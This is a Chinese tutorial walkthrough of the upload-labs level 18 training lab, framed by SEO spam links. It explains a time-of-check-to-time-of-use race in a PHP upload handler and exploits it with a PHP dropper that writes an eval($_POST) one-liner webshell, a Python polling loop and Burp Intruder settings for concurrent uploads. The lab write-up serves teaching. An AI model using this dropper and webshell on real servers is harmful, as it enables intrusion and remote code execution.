当前位置: 首页 > wzjs >正文

做网站的方法网上营销怎么做

做网站的方法,网上营销怎么做,室内设计网站平面案例,温州龙湾区新冠疫情最新目录 一、条件竞争 二、源码分析 1、源码分析 2、攻击原理 3、渗透思路 三、实战渗透 1、构造脚本 2、获取上传脚本URL 3、构造访问母狼脚本的Python代码 4、bp不断并发上传母狼脚本 (1)开启专业版bp (2) 上传母狼脚本…

目录

一、条件竞争

二、源码分析

1、源码分析

2、攻击原理

3、渗透思路

 三、实战渗透

1、构造脚本

2、获取上传脚本URL

3、构造访问母狼脚本的Python代码

4、bp不断并发上传母狼脚本

(1)开启专业版bp

(2) 上传母狼脚本发送到intruder

(3)配置intruder位置

(4)配置intruder负载

(5)配置intruder线程

(6)intruder开始攻击

5、执行访问母狼脚本

6、访问小狼脚本 


本文通过《upload-labs通关笔记-第18关文件上传之条件竞争》系列。文件上传条件竞争是一种在文件上传过程中利用并发操作导致的时间差来绕过安全限制的攻击方式,本节进行条件竞争绕过渗透实战。

一、条件竞争

条件竞争(Race Condition Vulnerability)在文件上传的应用场景中是一种常见的安全问题,其核心原理是利用系统处理文件时的"检查-使用"时间差(Time-of-Check to Time-of-Use, TOCTOU)进行攻击。其基本工作原理如下所示。

(1)正常上传流程

  • 服务器检查文件合法性(扩展名、内容类型等)
  • 服务器将文件保存到指定位置
  • 服务器对文件进行后续处理(如重命名、移动或删除)

(2)原因

  • 在"检查"和"最终处理"之间存在时间窗口
  • 攻击者可在这个时间间隙内进行操作

二、源码分析

打开靶场第18关,查看源码,分析可知文件上传的处理流程是先被传到服务器,然后根据后缀是否在白名单中,如果不在则删掉文件。具体代码如下所示。

1、源码分析

很明显代码存在条件竞争安全风险,主要原因在于文件移动和文件类型检查这两个操作不是原子操作,中间存在时间间隔,攻击者可以利用这个时间间隔进行攻击。详细注释后的代码如下所示。 

<?php
// 初始化变量 $is_upload,用于标记文件是否上传成功,初始值为 false 表示尚未成功上传
$is_upload = false;
// 初始化变量 $msg,用于存储上传过程中的提示信息,初始值为 null 表示暂无提示信息
$msg = null;// 检查是否通过 POST 方式提交了名为 'submit' 的表单元素
// 如果提交了,说明用户触发了文件上传操作,进入后续处理逻辑
if (isset($_POST['submit'])) {// 定义一个数组 $ext_arr,存储允许上传的文件扩展名$ext_arr = array('jpg', 'png', 'gif');// 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 从文件名中提取文件扩展名// strrpos($file_name, ".") 用于查找文件名中最后一个点号的位置// substr($file_name, strrpos($file_name, ".") + 1) 从最后一个点号的下一个位置开始截取字符串,得到文件扩展名$file_ext = substr($file_name, strrpos($file_name, ".") + 1);// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {// 检查提取的文件扩展名是否在允许的扩展名数组中if (in_array($file_ext, $ext_arr)) {// 如果扩展名合法,拼接一个新的文件名// rand(10, 99) 生成一个 10 到 99 之间的随机整数// date("YmdHis") 获取当前的日期和时间,格式为年月日时分秒// 最后拼接上文件扩展名$img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext;// 将之前移动到目标路径的文件重命名为新的文件名rename($upload_file, $img_path);// 将 $is_upload 标记为 true,表示文件上传成功$is_upload = true;} else {// 如果扩展名不合法,将提示信息 $msg 设置为只允许上传指定类型的文件$msg = "只允许上传.jpg|.png|.gif类型文件!";// 删除已经移动到目标路径的文件unlink($upload_file);}} else {// 如果文件移动失败,将提示信息 $msg 设置为上传出错$msg = '上传出错!';}
}
?>

2、攻击原理

 根据源码可知本关卡服务器的处理流程有条件竞争安全风险,具体原理如下所示。

  1. 文件移动:代码先使用move_uploaded_file函数将上传的临时文件移动到目标目录,此时文件已经被放置在目标目录中,但还未进行文件类型检查。
  2. 时间间隔:在文件移动完成后,代码才开始检查文件扩展名是否合法。在这个时间间隔内,攻击者可以利用多线程或脚本快速地多次上传文件,并且在服务器进行文件类型检查之前,修改服务器上文件的扩展名或内容。
  3. 绕过检查:如果攻击者在文件类型检查之前将文件扩展名修改为合法的扩展名,或者利用文件包含访问图片马等方式让服务器以恶意代码的形式执行文件,就可以绕过文件类型检查,实现恶意文件的上传和执行。

3、渗透思路

利用上传到服务器和判断不在黑名单被删除的时间差进行webshell上传。即攻击者上传一个包含恶意代码的 .php 文件(我们称之为母狼脚本),服务器将其移动到目标目录。在服务器进行文件类型检查之前,攻击者通过脚本执行生成一个新的脚本(我们称之为小狼脚本),这样在后续的扩展名检查中,虽然母狼脚本因检查不合格被删除,但是小狼脚本却没有被检查而存储在服务器中被认为是合法文件,从而绕过了安全检查,这样我们访问小狼脚本恶意代码就有可能被执行。

总结起来就是上传木马1(母狼)成功,木马1(母狼)还没被删掉的时间差过程中,成功访问木马文1(母狼)。这个木马文件1(母狼)的特点是可以生成一句话小木马2(小狼),如果在时间差内访问成功上传的这个木1(母狼),即可生成一句话小木马2(小狼)。这样不断地并发上传母狼脚本,接下来不断地并发访问母狼脚本,由于服务器是先存储母狼脚本然后检查母狼的合法性再杀掉,只要利用时间差在服务器杀死母狼之前让母狼脚本可以生成小狼脚本,即可通过访问小狼脚本实现渗透

 三、实战渗透

1、构造脚本

构造文件上传的shell脚本(脚本1,母狼,命名为ljn_shell.php),内容为post马。脚本内容如下所示。

<?php fputs(fopen('ljn_post.php','w'),'<?php @eval($_POST[ljn]);?>');?>

 此函数用于写入或创建一个名为 ljn_post.php 的文件(脚本2,小狼)。如果文件不存在,将会创建一个名为ljn_post.php新的文件,脚本内容如下所示。

    <?php @eval($_POST[ljn]);?>

    2、获取上传脚本URL

    对于上传到服务器的母狼脚本ljn_shell.php,相关源码处理如下所示。

        // 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {}

    分析可知文件上传到服务器的URL根据如下代码决定,由upload目录与文件名拼接。

    upload_file = UPLOAD_PATH . '/' . $file_name

    根据源码可知$file_name为上传文件名,假如要传的源码为ljn_shell.php,那么存储在upload/目录下,那么母狼脚本1的URL链接地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_shell.php

    同理,母狼ljn_shell.php生成的小狼脚本ljn_post.php生成在同一目录,故而小狼脚本文件的完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    3、构造访问母狼脚本的Python代码

    这段代码的功能是不断的并发访问母狼脚本ljn_shell.php,希望可以利用时间差在服务器检查后缀判断其不在白名单删除母狼前,使得母狼脚本ljn_shell.php可以成功执行生成小狼脚本ljn_post.php。

    import requests
    url = "http://127.0.0.1/upload-labs/upload/ljn_shell.php"
    while True:html = requests.get(url)if html.status_code == 200:print("OK")breakelse:print("NO")
    

    4、bp不断并发上传母狼脚本

    (1)开启专业版bp

    浏览器开启代理,burpsuite注意要选用专业版)打开拦截功能。

    (2) 上传母狼脚本发送到intruder

    点击上传后报文被bp拦截,右键发送到intruder,如下所示。

    (3)配置intruder位置

    选择狙击手模式清空所有负载,具体如下所示。

    (4)配置intruder负载

    接下来配置payloads,选择null payload并选择continue indefinitely,具体如下所示。 

    (5)配置intruder线程

    在intrude里面,选择resource pool下面有个create new source pool可以重新设置线程数,我们勾选maximum concurrent requests,并且进行参数的设置,这里我选择了10个线程,大家可以根据自己机器的配置进行设置。

    (6)intruder开始攻击

    攻击后的效果如下所示。

    5、执行访问母狼脚本

    运行执行3.3的python脚本,看到ok说明渗透成功效果如下所示。

    此时说明渗透成功,母狼脚本访问成功,生成了小狼脚本ljn_post.php。此时关闭bp的intruder,如下所示。

    6、访问小狼脚本 

    上传到服务器的母狼脚本访问成功,生成了小狼脚本ljn_post.php,完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    POST参数设置进行如下code设置,如下图所示渗透成功。

    ljn=phpinfo();

    http://www.dtcms.com/wzjs/36273.html

    相关文章:

  1. 中华人民共和国和住房城乡建设部网站重庆疫情最新消息
  2. 建设企业网站找谁网络营销课程大概学什么内容
  3. 西宁网站制作公司排名公司网站怎么建立
  4. 有什么做的好的ppt排版网站关键词免费下载
  5. 做营销型网站拉新app推广接单平台
  6. 淘宝客推广网站怎么做网页开发教程
  7. 织梦dede新闻网站源码手机站营销软文500字
  8. 能够做代理的网站有哪些问题上海外贸seo
  9. 重庆南岸营销型网站建设公司推荐app注册接单平台
  10. 网站建设行业解决方案武汉seo工厂
  11. 成都设计公司网站惠州搜索引擎seo
  12. 公司辞退员工补偿标准2023seo网站优化多少钱
  13. 科技 公司 响应式 网站山西网页制作
  14. 做家教去什么网站网站推广怎么弄
  15. 怎么做音乐网站自己建网站需要多少钱
  16. 江门网站建设推广谷歌网页
  17. 凉山建设机械网站百度ai搜索引擎
  18. 宁波网站建设就业方向推广一次多少钱
  19. 做包装的网站济南seo整站优化厂家
  20. 网站在哪里备案信息上google必须翻墙吗
  21. 个人网站建设推广服务定制建站网站建设
  22. 网站开发时间进度表百度网址大全旧版本
  23. 如何建设网站的外接 以及在增加外接的时应当注意什么网络推广网址
  24. 网站开发工程师360站长平台
  25. php免费网站建设怎么进行推广
  26. 廊坊seo网站管理网站如何提交百度收录
  27. 永久网站建设营销文案
  28. 歪咪小麻花官方网站怎么做零售关键词优化seo优化排名
  29. 企业商城网站开发建设山西seo关键词优化软件搜索
  30. 龙岩网站改版较好的公司互联网营销师课程